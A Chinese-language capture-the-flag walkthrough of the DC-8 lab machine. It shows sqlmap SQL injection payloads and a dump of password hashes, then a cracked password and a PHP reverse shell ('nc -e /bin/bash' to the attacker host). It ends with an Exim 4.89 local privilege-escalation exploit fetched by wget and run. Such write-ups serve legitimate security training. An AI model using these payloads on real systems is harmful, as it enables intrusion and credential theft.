Progress: 742486 / 1102805 (67.33%)[ERROR] Get "http://192.168.6.160/81749.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 758091 / 1102805 (68.74%)[ERROR] Get "http://192.168.6.160/AD20020410": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 772620 / 1102805 (70.06%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 772647 / 1102805 (70.06%)
===============================================================
Finished
===============================================================

2.5 漏洞发现

登录网页查看

网页导航栏输入:
192.168.6.160/?nid=1
有返回信息：Welcome to DC-8

nid参数

导航栏输入：http://192.168.6.160/?nid=1 or 1=1–+
返回信息：contact us

contact us

此处存在SQL注入漏洞

三、渗透测试

3.1 SQL注入

3.1.1 获得数据库名称列表

┌──(root㉿kali)-[~]
└─# sqlmap -u 'http://192.168.6.160/?nid=1' -current-db                              
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.3#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:31:26 /2024-05-31/

[07:31:26] [INFO] testing connection to the target URL
[07:31:27] [INFO] checking if the target is protected by some kind of WAF/IPS
[07:31:28] [INFO] testing if the target URL content is stable
[07:31:29] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[07:32:05] [INFO] testing if GET parameter 'nid' is dynamic
[07:32:06] [WARNING] GET parameter 'nid' does not appear to be dynamic
[07:32:06] [INFO] heuristic (basic) test shows that GET parameter 'nid' might be injectable (possible DBMS: 'MySQL')
[07:32:06] [INFO] testing for SQL injection on GET parameter 'nid'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[07:32:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:32:22] [WARNING] reflective value(s) found and filtering out
[07:32:24] [INFO] GET parameter 'nid' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Status message")
[07:32:24] [INFO] testing 'Generic inline queries'
[07:32:25] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[07:32:25] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[07:32:25] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[07:32:26] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[07:32:26] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[07:32:26] [WARNING] potential permission problems detected ('command denied')
[07:32:26] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[07:32:27] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[07:32:27] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[07:32:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[07:32:27] [INFO] GET parameter 'nid' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[07:32:27] [INFO] testing 'MySQL inline queries'
[07:32:28] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[07:32:28] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)                      
[07:32:35] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[07:32:35] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[07:32:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[07:32:36] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[07:32:36] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[07:32:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[07:32:47] [INFO] GET parameter 'nid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[07:32:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:32:47] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:32:48] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[07:32:50] [INFO] target URL appears to have 1 column in query
[07:32:51] [INFO] GET parameter 'nid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'nid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1 AND 7168=7168

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: nid=1 AND (SELECT 1434 FROM(SELECT COUNT(*),CONCAT(0x7178707a71,(SELECT (ELT(1434=1434,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=1 AND (SELECT 4385 FROM (SELECT(SLEEP(5)))iFVO)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: nid=-2090 UNION ALL SELECT CONCAT(0x7178707a71,0x707644566b576a56574149656e546a517946504b7448486363646d7657756849425a556573474659,0x7170707171)-- -
---
[07:33:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:33:17] [INFO] fetching current database
current database: 'd7db'
[07:33:18] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 25 times
[07:33:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.6.160'

获得数据库名称：
current database: ‘d7db’

3.1.2 获取数据库d7db的表名

┌──(root㉿kali)-[~]
└─# sqlmap -u 'http://192.168.6.160/?nid=1' -D d7db --tables
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.3#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:35:32 /2024-05-31/

[07:35:32] [INFO] resuming back-end DBMS 'mysql' 
[07:35:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1 AND 7168=7168

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: nid=1 AND (SELECT 1434 FROM(SELECT COUNT(*),CONCAT(0x7178707a71,(SELECT (ELT(1434=1434,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=1 AND (SELECT 4385 FROM (SELECT(SLEEP(5)))iFVO)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: nid=-2090 UNION ALL SELECT CONCAT(0x7178707a71,0x707644566b576a56574149656e546a517946504b7448486363646d7657756849425a556573474659,0x7170707171)-- -
---
[07:35:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:35:33] [INFO] fetching tables for database: 'd7db'
[07:35:34] [WARNING] reflective value(s) found and filtering out
[07:35:34] [WARNING] potential permission problems detected ('command denied')
[07:35:36] [INFO] retrieved: 'actions'
[07:35:36] [INFO] retrieved: 'authmap'
[07:35:37] [INFO] retrieved: 'batch'
[07:35:38] [INFO] retrieved: 'block'
[07:35:39] [INFO] retrieved: 'block_custom'
[07:35:40] [INFO] retrieved: 'block_node_type'
[07:35:41] [INFO] retrieved: 'block_role'
[07:35:41] [INFO] retrieved: 'blocked_ips'
[07:35:42] [INFO] retrieved: 'cache'
[07:35:42] [INFO] retrieved: 'cache_block'
[07:35:42] [INFO] retrieved: 'cache_bootstrap'
[07:35:43] [INFO] retrieved: 'cache_field'
[07:35:43] [INFO] retrieved: 'cache_filter'
[07:35:44] [INFO] retrieved: 'cache_form'
[07:35:45] [INFO] retrieved: 'cache_image'
[07:35:45] [INFO] retrieved: 'cache_menu'
[07:35:46] [INFO] retrieved: 'cache_page'
[07:35:46] [INFO] retrieved: 'cache_path'
[07:35:47] [INFO] retrieved: 'cache_views'
[07:35:48] [INFO] retrieved: 'cache_views_data'
[07:35:48] [INFO] retrieved: 'ckeditor_input_format'
[07:35:49] [INFO] retrieved: 'ckeditor_settings'
[07:35:50] [INFO] retrieved: 'ctools_css_cache'
[07:35:50] [INFO] retrieved: 'ctools_object_cache'
[07:35:51] [INFO] retrieved: 'date_format_locale'
[07:35:52] [INFO] retrieved: 'date_format_type'
[07:35:52] [INFO] retrieved: 'date_formats'
[07:35:53] [INFO] retrieved: 'field_config'
[07:35:53] [INFO] retrieved: 'field_config_instance'
[07:35:54] [INFO] retrieved: 'field_data_body'
[07:35:55] [INFO] retrieved: 'field_data_field_image'
[07:35:55] [INFO] retrieved: 'field_data_field_tags'
[07:35:56] [INFO] retrieved: 'field_revision_body'
[07:35:57] [INFO] retrieved: 'field_revision_field_image'
[07:35:57] [INFO] retrieved: 'field_revision_field_tags'
[07:36:08] [INFO] retrieved: 'file_managed'
[07:36:08] [INFO] retrieved: 'file_usage'
[07:36:09] [INFO] retrieved: 'filter'
[07:36:09] [INFO] retrieved: 'filter_format'
[07:36:01] [INFO] retrieved: 'flood'
[07:36:02] [INFO] retrieved: 'history'
[07:36:03] [INFO] retrieved: 'image_effects'
[07:36:03] [INFO] retrieved: 'image_styles'
[07:36:04] [INFO] retrieved: 'menu_custom'
[07:36:05] [INFO] retrieved: 'menu_links'
[07:36:05] [INFO] retrieved: 'menu_router'
[07:36:06] [INFO] retrieved: 'node'
[07:36:06] [INFO] retrieved: 'node_access'
[07:36:07] [INFO] retrieved: 'node_revision'
[07:36:08] [INFO] retrieved: 'node_type'
[07:36:08] [INFO] retrieved: 'queue'
[07:36:09] [INFO] retrieved: 'rdf_mapping'
[07:36:10] [INFO] retrieved: 'registry'
[07:36:10] [INFO] retrieved: 'registry_file'
[07:36:11] [INFO] retrieved: 'role'
[07:36:11] [INFO] retrieved: 'role_permission'
[07:36:12] [INFO] retrieved: 'search_dataset'
[07:36:13] [INFO] retrieved: 'search_index'
[07:36:13] [INFO] retrieved: 'search_node_links'
[07:36:14] [INFO] retrieved: 'search_total'
[07:36:15] [INFO] retrieved: 'semaphore'
[07:36:15] [INFO] retrieved: 'sequences'
[07:36:16] [INFO] retrieved: 'sessions'
[07:36:17] [INFO] retrieved: 'shortcut_set'
[07:36:17] [INFO] retrieved: 'shortcut_set_users'
[07:36:18] [INFO] retrieved: 'site_messages_table'
[07:36:19] [INFO] retrieved: 'system'
[07:36:19] [INFO] retrieved: 'taxonomy_index'
[07:36:20] [INFO] retrieved: 'taxonomy_term_data'
[07:36:21] [INFO] retrieved: 'taxonomy_term_hierarchy'
[07:36:21] [INFO] retrieved: 'taxonomy_vocabulary'
[07:36:22] [INFO] retrieved: 'url_alias'
[07:36:22] [INFO] retrieved: 'users'
[07:36:23] [INFO] retrieved: 'users_roles'
[07:36:24] [INFO] retrieved: 'variable'
[07:36:25] [INFO] retrieved: 'views_display'
[07:36:25] [INFO] retrieved: 'views_view'
[07:36:26] [INFO] retrieved: 'watchdog'
[07:36:26] [INFO] retrieved: 'webform'
[07:36:27] [INFO] retrieved: 'webform_component'
[07:36:28] [INFO] retrieved: 'webform_conditional'
[07:36:28] [INFO] retrieved: 'webform_conditional_actions'
[07:36:29] [INFO] retrieved: 'webform_conditional_rules'
[07:36:29] [INFO] retrieved: 'webform_emails'
[07:36:30] [INFO] retrieved: 'webform_last_download'
[07:36:31] [INFO] retrieved: 'webform_roles'
[07:36:31] [INFO] retrieved: 'webform_submissions'
[07:36:32] [INFO] retrieved: 'webform_submitted_data'
Database: d7db                                                                                                                   
[88 tables]
+-----------------------------+
| block                       |
| cache                       |
| filter                      |
| history                     |
| role                        |
| system                      |
| actions                     |
| authmap                     |
| batch                       |
| block_custom                |
| block_node_type             |
| block_role                  |
| blocked_ips                 |
| cache_block                 |
| cache_bootstrap             |
| cache_field                 |
| cache_filter                |
| cache_form                  |
| cache_image                 |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
| cache_views                 |
| cache_views_data            |
| ckeditor_input_format       |
| ckeditor_settings           |
| ctools_css_cache            |
| ctools_object_cache         |
| date_format_locale          |
| date_format_type            |
| date_formats                |
| field_config                |
| field_config_instance       |
| field_data_body             |
| field_data_field_image      |
| field_data_field_tags       |
| field_revision_body         |
| field_revision_field_image  |
| field_revision_field_tags   |
| file_managed                |
| file_usage                  |
| filter_format               |
| flood                       |
| image_effects               |
| image_styles                |
| menu_custom                 |
| menu_links                  |
| menu_router                 |
| node                        |
| node_access                 |
| node_revision               |
| node_type                   |
| queue                       |
| rdf_mapping                 |
| registry                    |
| registry_file               |
| role_permission             |
| search_dataset              |
| search_index                |
| search_node_links           |
| search_total                |
| semaphore                   |
| sequences                   |
| sessions                    |
| shortcut_set                |
| shortcut_set_users          |
| site_messages_table         |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| taxonomy_vocabulary         |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| views_display               |
| views_view                  |
| watchdog                    |
| webform                     |
| webform_component           |
| webform_conditional         |
| webform_conditional_actions |
| webform_conditional_rules   |
| webform_emails              |
| webform_last_download       |
| webform_roles               |
| webform_submissions         |
| webform_submitted_data      |
+-----------------------------+

[07:36:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[07:36:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.6.160'

[*] ending @ 07:36:32 /2024-05-31/

获得一些表名：
users
users_roles
…

3.1.3 获取users表中所有字段名

┌──(root㉿kali)-[~]
└─# sqlmap -u 'http://192.168.6.160/?nid=1' -D d7db -T users --columns
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.3#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:40:43 /2024-05-31/

[07:40:43] [INFO] resuming back-end DBMS 'mysql' 
[07:40:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1 AND 7168=7168

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: nid=1 AND (SELECT 1434 FROM(SELECT COUNT(*),CONCAT(0x7178707a71,(SELECT (ELT(1434=1434,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=1 AND (SELECT 4385 FROM (SELECT(SLEEP(5)))iFVO)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: nid=-2090 UNION ALL SELECT CONCAT(0x7178707a71,0x707644566b576a56574149656e546a517946504b7448486363646d7657756849425a556573474659,0x7170707171)-- -
---
[07:40:44] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:40:44] [INFO] fetching columns for table 'users' in database 'd7db'
[07:40:45] [WARNING] reflective value(s) found and filtering out
[07:40:45] [WARNING] potential permission problems detected ('command denied')
[07:40:46] [INFO] retrieved: 'uid','int(10) unsigned'
[07:40:47] [INFO] retrieved: 'name','varchar(60)'
[07:40:48] [INFO] retrieved: 'pass','varchar(128)'
[07:40:49] [INFO] retrieved: 'mail','varchar(254)'
[07:40:50] [INFO] retrieved: 'theme','varchar(255)'
[07:40:51] [INFO] retrieved: 'signature','varchar(255)'
[07:40:51] [INFO] retrieved: 'signature_format','varchar(255)'
[07:40:52] [INFO] retrieved: 'created','int(11)'
[07:40:53] [INFO] retrieved: 'access','int(11)'
[07:40:53] [INFO] retrieved: 'login','int(11)'
[07:40:53] [INFO] retrieved: 'status','tinyint(4)'
[07:40:54] [INFO] retrieved: 'timezone','varchar(32)'
[07:40:55] [INFO] retrieved: 'language','varchar(12)'
[07:40:55] [INFO] retrieved: 'picture','int(11)'
[07:40:56] [INFO] retrieved: 'init','varchar(254)'
[07:40:56] [INFO] retrieved: 'data','longblob'
Database: d7db                                                                                                                   
Table: users
[16 columns]
+------------------+------------------+
| Column           | Type             |
+------------------+------------------+
| data             | longblob         |
| language         | varchar(12)      |
| name             | varchar(60)      |
| status           | tinyint(4)       |
| access           | int(11)          |
| created          | int(11)          |
| init             | varchar(254)     |
| login            | int(11)          |
| mail             | varchar(254)     |
| pass             | varchar(128)     |
| picture          | int(11)          |
| signature        | varchar(255)     |
| signature_format | varchar(255)     |
| theme            | varchar(255)     |
| timezone         | varchar(32)      |
| uid              | int(10) unsigned |
+------------------+------------------+

[07:40:56] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[07:40:56] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.6.160'

获得一些有用的字段名：
名字：name
密码：pass

3.1.4 获得用户信息

┌──(root㉿kali)-[~]
└─# sqlmap -u 'http://192.168.6.160/?nid=1' -D d7db -T users -C uid,name,pass --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.8.3#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:44:38 /2024-05-31/

[07:44:38] [INFO] resuming back-end DBMS 'mysql' 
[07:44:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1 AND 7168=7168

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: nid=1 AND (SELECT 1434 FROM(SELECT COUNT(*),CONCAT(0x7178707a71,(SELECT (ELT(1434=1434,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=1 AND (SELECT 4385 FROM (SELECT(SLEEP(5)))iFVO)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: nid=-2090 UNION ALL SELECT CONCAT(0x7178707a71,0x707644566b576a56574149656e546a517946504b7448486363646d7657756849425a556573474659,0x7170707171)-- -
---
[07:44:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:44:39] [INFO] fetching entries of column(s) '`name`,pass,uid' for table 'users' in database 'd7db'
[07:44:40] [WARNING] reflective value(s) found and filtering out
[07:44:40] [WARNING] potential permission problems detected ('command denied')
[07:44:41] [INFO] retrieved: '','','0'
[07:44:42] [INFO] retrieved: 'admin','$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z','1'
[07:44:43] [INFO] retrieved: 'john','$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF','2'
Database: d7db                                                                                                                   
Table: users
[3 entries]
+-----+---------+---------------------------------------------------------+
| uid | name    | pass                                                    |
+-----+---------+---------------------------------------------------------+
| 0   | <blank> | <blank>                                                 |
| 1   | admin   | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| 2   | john    | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-----+---------+---------------------------------------------------------+

[07:44:43] [INFO] table 'd7db.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.6.160/dump/d7db/users.csv'
[07:44:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[07:44:43] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.6.160'

[*] ending @ 07:44:43 /2024-05-31/

获得2个用户名的信息：

admin: $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

3.2 john用户相关

3.2.1 密文输出

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# vim hash_pass.txt
                                                                                                                                  
┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# cat hash_pass.txt
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

密文保存成功

3.2.2 密文爆破

──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# john hash_pass.txt --show
?:turtle

得到结果：
用户名：john
密码为：turtle

3.2.3 john登录ssh

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# ssh john@192.168.6.160   
The authenticity of host '192.168.6.160 (192.168.6.160)' can't be established.
ED25519 key fingerprint is SHA256:AfK0gYeFX5wZyCIrj/gU/d2qSqch6UncgegzZQVt19E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.6.160' (ED25519) to the list of known hosts.
john@192.168.6.160: Permission denied (publickey,keyboard-interactive).

ssh连接失败。

3.2.4 john登录web

登录页：http://http://192.168.6.160/user/login/
用户名：john
密 码：turtle

登录成功

3.2.5 反弹shell

3.2.5.1 kali监听
┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# nc -lvvp 10086                     
listening on [any] 10086 ...

kali正在监听10086端口

3.2.5.2 写入反弹shell

在下面的页面写入一句话反弹shell:
内容为：

<?php
exec("nc -e /bin/bash 192.168.6.66 10086");
?>

反弹shell

最后点击“Save configuration”，保存配置信息。

成功设置

提示设置已经更新。

3.2.5.3 触发反弹shell

在view页面填写信息，然后点击“submit”
view
成功获得shell

成功获得shell。

3.2.5.4 调用标准终端
┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# nc -lvvp 10086
listening on [any] 10086 ...
192.168.6.160: inverse host lookup failed: Host name lookup failure
connect to [192.168.6.66] from (UNKNOWN) [192.168.6.160] 37528
python -c 'import pty;pty.spawn("/bin/bash")'


www-data@dc-8:/var/www/html$ 
www-data@dc-8:/var/www/html$

3.3 提权

3.3.1 查看sudo命令

www-data@dc-8:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount

发现有exim4可以使用。

www-data@dc-8:/var/www/html$ exim --help
exim --help
Exim is a Mail Transfer Agent. It is normally called by Mail User Agents,
not directly from a shell command line. Options and/or arguments control
what it does when called. For a list of options, see the Exim documentation.

www-data@dc-8:/var/www/html$ exim --version
exim --version
Exim version 4.89 #2 built 14-Jun-2017 05:03:07
Copyright (c) University of Cambridge, 1995 - 2017
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2017
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

exim版本：4.89

3.3.2 exim漏洞搜索

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# searchsploit exim 4.8 
------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                  |  Path
------------------------------------------------------------------------------------------------ ---------------------------------
Exim - 'perl_startup' Local Privilege Escalation (Metasploit)                                   | linux/local/39702.rb
Exim 4.84-3 - Local Privilege Escalation                                                        | linux/local/39535.sh
Exim 4.87 - 4.91 - Local Privilege Escalation                                                   | linux/local/46996.sh
Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)                                      | linux/local/47307.rb
Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)                                      | linux/local/47307.rb
Exim 4.87 < 4.91 - (Local / Remote) Command Execution                                           | linux/remote/46974.txt
Exim 4.89 - 'BDAT' Denial of Service                                                            | multiple/dos/43184.txt
Exim < 4.86.2 - Local Privilege Escalation                                                      | linux/local/39549.txt
Exim < 4.90.1 - 'base64d' Remote Code Execution                                                 | linux/remote/44571.py
Exim ESMTP 4.80 - glibc gethostbyname Denial of Service                                         | linux/dos/35951.py
Exim4 < 4.69 - string_format Function Heap Buffer Overflow (Metasploit)                         | linux/remote/16925.rb
PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution                                        | php/webapps/42221.py
------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results

3.3.3 保存payload

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# cp /usr/share/exploitdb/exploits/linux/local/46996.sh hack.sh  
                                                                                                                                                                                                                                   
┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# ls
hack.sh  hash_pass.txt

3.3.4 hack.sh

3.3.4.1 转换格式为unix
┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# dos2unix hack.sh                      
dos2unix: converting file hack.sh to Unix format...
3.3.4.2 kali启动http服务
──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-8]
└─# python -m http.server 8888 
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
3.3.4.3 下载hack.sh
www-data@dc-8:/var/www/html$ cd /tmp
cd /tmp
www-data@dc-8:/tmp$ ls
ls
www-data@dc-8:/tmp$ wget 192.168.6.66:8888/hack.sh
wget 192.168.6.66:8888/hack.sh
--2024-05-31 23:24:37--  http://192.168.6.66:8888/hack.sh
Connecting to 192.168.6.66:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3552 (3.5K) [text/x-sh]
Saving to: 'hack.sh'

hack.sh             100%[===================>]   3.47K  --.-KB/s    in 0s      

2024-05-31 23:24:37 (152 MB/s) - 'hack.sh' saved [3552/3552]

www-data@dc-8:/tmp$ ls
ls
hack.sh
3.3.4.4 赋予hack.sh执行权限
www-data@dc-8:/tmp$ chmod 777 hack.sh
chmod 777 hack.sh
www-data@dc-8:/tmp$ ls -la
ls -la
total 12
drwxrwxrwt  2 root     root     4096 May 31 23:24 .
drwxr-xr-x 22 root     root     4096 Sep  5  2019 ..
-rwxrwxrwx  1 www-data www-data 3552 May 31 23:16 hack.sh

已经赋予hack.sh可执行权限。

3.3.4.5 执行hack.sh
www-data@dc-8:/tmp$ ./hack.sh -m netcat
./hack.sh -m netcat

raptor_exim_wiz - "The Return of the WIZard" LPE exploit
Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>

Delivering netcat payload...
220 dc-8 ESMTP Exim 4.89 Fri, 31 May 2024 23:32:58 +1000
250 dc-8 Hello localhost [::1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1sD2NO-0004NZ-45
221 dc-8 closing connection

Waiting 5 seconds...
localhost [127.0.0.1] 31337 (?) open
3.3.4.6 调用标准终端
python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
